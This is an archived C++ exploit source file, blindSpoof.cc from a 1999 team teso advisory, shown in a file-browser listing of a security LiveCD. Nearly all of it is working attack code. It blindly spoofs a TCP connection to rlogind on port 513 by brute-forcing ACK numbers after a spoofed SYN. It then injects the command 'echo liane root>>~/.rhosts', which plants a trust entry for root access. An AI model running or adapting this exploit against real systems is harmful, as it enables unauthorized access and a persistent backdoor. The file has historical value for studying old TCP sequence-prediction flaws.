home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / blindSpoof.cc < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  209 lines

  1. /*** Exploit for the 2.2 linux-kernel TCP/IP weakness. 
  2.  *** (C) 1999 by S. Krahmer. 
  3.  *** THERE IS ABSOLUTELY NO WARRANTY. YOU USE IT AT YOUR OWN RSIK!
  4.  *** THIS PROGRAM IS LICESED UNDER THE GPL and belongs to a security-
  5.  *** advisory of team teso. You should get the full advisory with paper
  6.  *** on either 
  7.  *** http://www.cs.uni-potsdam.de/homepages/students/linuxer or
  8.  *** http://teso.scene.at
  9.  ***
  10.  *** The bugdiscovery and the exploit is due to:
  11.  ***
  12.  *** Stealth    http://www.kalug.lug.net/stealth
  13.  *** S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linxuer
  14.  ***
  15.  *** c++ blindSpoof.cc -lusi++ -lpcap    (this is LINUX source!)
  16.  *** Libusi++ is available on my homepage.
  17.  *** Achtung: Gehen Sie nicht in den 100 Meilen tiefen Wald! ;-)
  18.  ***/
  19. #include <stdio.h>
  20. #include <iostream>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23. #include <string.h>
  24. #include <signal.h>
  25. #include <usi++/usi++.h>
  26.  
  27. #define XPORT 513
  28.  
  29. // may be changed, my best results were around 2000,
  30. // but also diffs of > 5000 can happen :)
  31. // change it it really not works
  32. #define MAXPACK 3000
  33.  
  34. // define this if you want to exploit rlogind
  35. // if not, you will just spoof a connection to XPORT
  36. #define EXPLOIT_RLOGIND 
  37.  
  38. // uses eth0 for packet-capturing!
  39. TCP *pingVictum(char *, char *, char *);
  40. int printInfo(TCP *);
  41. bool wrongPacket(TCP *, TCP *);
  42.  
  43. int main(int argc, char **argv)
  44. {
  45.     // yes, script-kidz! this is hardcoded to prevent you from usage.
  46.     const char *remoteUser = "stealth",
  47.                *localUser  = "stealth",
  48.            *command    = "echo liane root>>~/.rhosts\n";
  49.     char sbuf[1000];
  50.     
  51.     if (argc < 4) {
  52.         printf("Usage %s [destination-IP] [source-IP] [spoofed-IP]\n", argv[0]);
  53.         exit(1);
  54.     }
  55.     cout<<"blindSpoof-exploit by S. Krahmer\n"
  56.           "http://www.cs.uni-potsdam.de/homepages/students/linuxer\n\n";    
  57.     // would be connect() 
  58.            TCP *conn = pingVictum(argv[1], argv[2], argv[3]);
  59.  
  60. #ifdef EXPLOIT_RLOGIND
  61.     conn->set_flags(0);
  62.     sprintf(sbuf, "\0");
  63.     conn->sendpack(sbuf, 1);
  64.     sleep(1);
  65.     
  66.     cout<<"Sending local username: "<<localUser<<endl;
  67.     
  68.     // send local username
  69.     conn->set_seq(conn->get_seq() + 1);
  70.     memset(sbuf, 0, 1000);
  71.     snprintf(sbuf, sizeof(sbuf), "%s\0", localUser);
  72.     conn->sendpack(sbuf, strlen(sbuf) + 1);
  73.     
  74.     // we don't know about the lag, so i hope that 7 in sec.
  75.     // the victum has sent an ACK
  76.     sleep(7);
  77.     
  78.     cout<<"Sending remote username: "<<remoteUser<<endl;
  79.     
  80.     // send remote username
  81.     conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
  82.     memset(sbuf, 0, sizeof(sbuf));
  83.     snprintf(sbuf, sizeof(sbuf), "%s\0", remoteUser);
  84.     conn->sendpack(sbuf, strlen(sbuf) + 1);
  85.     sleep(7);
  86.     
  87.     cout<<"Sending terminal-type and speed.\n";
  88.     conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
  89.     memset(sbuf, 0, sizeof(sbuf));
  90.     snprintf(sbuf, sizeof(sbuf), "%s\0", "linux/38400");
  91.     conn->sendpack(sbuf, strlen(sbuf) + 1);
  92.     sleep(7);
  93.     
  94.     
  95.     cout<<"Sending command: "<<command<<endl;
  96.     conn->set_seq(conn->get_seq() + strlen(sbuf) + 1);
  97.     memset(sbuf, 0, sizeof(sbuf));
  98.     snprintf(sbuf, sizeof(sbuf), "%s\0", command);
  99.     conn->sendpack(sbuf, strlen(sbuf) + 1);
  100. #else
  101.     cout<<"Connection to port "<<XPORT<<" should be established.\n";
  102. #endif
  103.     delete conn;
  104.     return 0;
  105. }
  106.  
  107. /* Spoof a connection. */
  108. TCP *pingVictum(char *host, char *src, char *spoofed)
  109. {
  110.     char buf[100];
  111.         TCP *victumLow = new TCP(host),
  112.         *victumSpoofed = new TCP(host),
  113.         *sn = new TCP(host);    
  114.         int myISN = rand(), sport = 512 + rand()%512;
  115.         
  116.         sn->init_device("eth0", 1, 500);
  117.  
  118.         victumLow->set_flags(TH_SYN);
  119.          victumLow->set_dstport(XPORT);    // rlogin
  120.         victumLow->set_srcport(sport);    // from a privileged port
  121.         victumLow->set_src(src);                
  122.         victumLow->set_seq(myISN);
  123.         
  124.         victumSpoofed->set_flags(TH_SYN);
  125.          victumSpoofed->set_dstport(XPORT);    
  126.         victumSpoofed->set_srcport(sport);    
  127.         victumSpoofed->set_src(spoofed);
  128.     victumSpoofed->set_seq(myISN);        // we must save the ISN
  129.     
  130.     // send SYN to get low end of ISN
  131.     victumLow->sendpack("");
  132.         
  133.     // send spoofed SYN 
  134.         victumSpoofed->sendpack("");
  135.     
  136.     cout<<"Using sourceport "<<victumSpoofed->get_srcport()<<endl;
  137.     
  138.     // wait for SYN/ACK of low packet
  139.     while (wrongPacket(sn, victumLow)) {
  140.                sn->sniffpack(buf, 100);
  141.                 printf("%s:%d -> %s:%d ", sn->get_src(1), sn->get_srcport(),
  142.                                   sn->get_dst(1), sn->get_dstport());
  143.                 printInfo(sn);
  144.         }
  145.     int lowISN = sn->get_seq();        
  146.     sleep(2);
  147.     
  148.     // NOTE! Even if we sent the SYN before the spoofed SYN, the
  149.     // spoofed SYN can arrive first, due to routing reasons.
  150.     // Althought this is NOT very likely, we have to keep it in mind.
  151.     cout<<"Low end: "<<(unsigned)lowISN<<"\n";    
  152.         victumSpoofed->set_flags(TH_ACK);
  153.         victumSpoofed->set_seq(myISN + 1);
  154.  
  155.     //     
  156.         for (int i = lowISN; i < lowISN + MAXPACK; i++) {
  157.                 victumSpoofed->set_ack(i);
  158.                 victumSpoofed->sendpack("");
  159.         printf("%u\r", i); fflush(stdout);
  160.         // maybe you have to place a usleep() here, depends on
  161.         // your devices
  162.         }
  163.     cout<<endl;
  164.     delete sn;
  165.         delete victumLow;
  166.     
  167.     // from now, the connection should be established!
  168.     return victumSpoofed;
  169. }
  170.  
  171.  
  172. // give out some infos about the received packet
  173. int printInfo(TCP* r)
  174. {
  175.     cout<<"[flags: ";
  176.     if (r->get_flags() & TH_FIN)
  177.         cout<<"FIN ";
  178.     if (r->get_flags() & TH_SYN)
  179.         cout<<"SYN ";
  180.     if (r->get_flags() & TH_RST)
  181.         cout<<"RST ";
  182.     if (r->get_flags() & TH_PUSH)
  183.         cout<<"PUSH ";
  184.     if (r->get_flags() & TH_ACK)
  185.         cout<<"ACK ";
  186.     if (r->get_flags() & TH_URG)
  187.         cout<<"URG ";
  188.     cout<<"] [ACK: "<<r->get_ack()<<"] [SEQ: "<<r->get_seq()<<"]"<<endl;
  189.     return 0;
  190. }
  191.  
  192. /* returns true is packet is WRONG
  193.  */
  194. bool wrongPacket(TCP *p1, TCP *p2)
  195. {
  196.        if (p1->get_src() != p2->get_dst())
  197.                return true;
  198.         if (p1->get_dst() != p2->get_src())
  199.                return true;
  200.         if (p1->get_dstport() != p2->get_srcport())
  201.                return true;
  202.         if (p1->get_srcport() != p2->get_dstport())
  203.                return true;
  204.         if (p1->get_ack() != (p2->get_seq() + 1))
  205.                return true;
  206.         return false;
  207. }
  208.  
  209.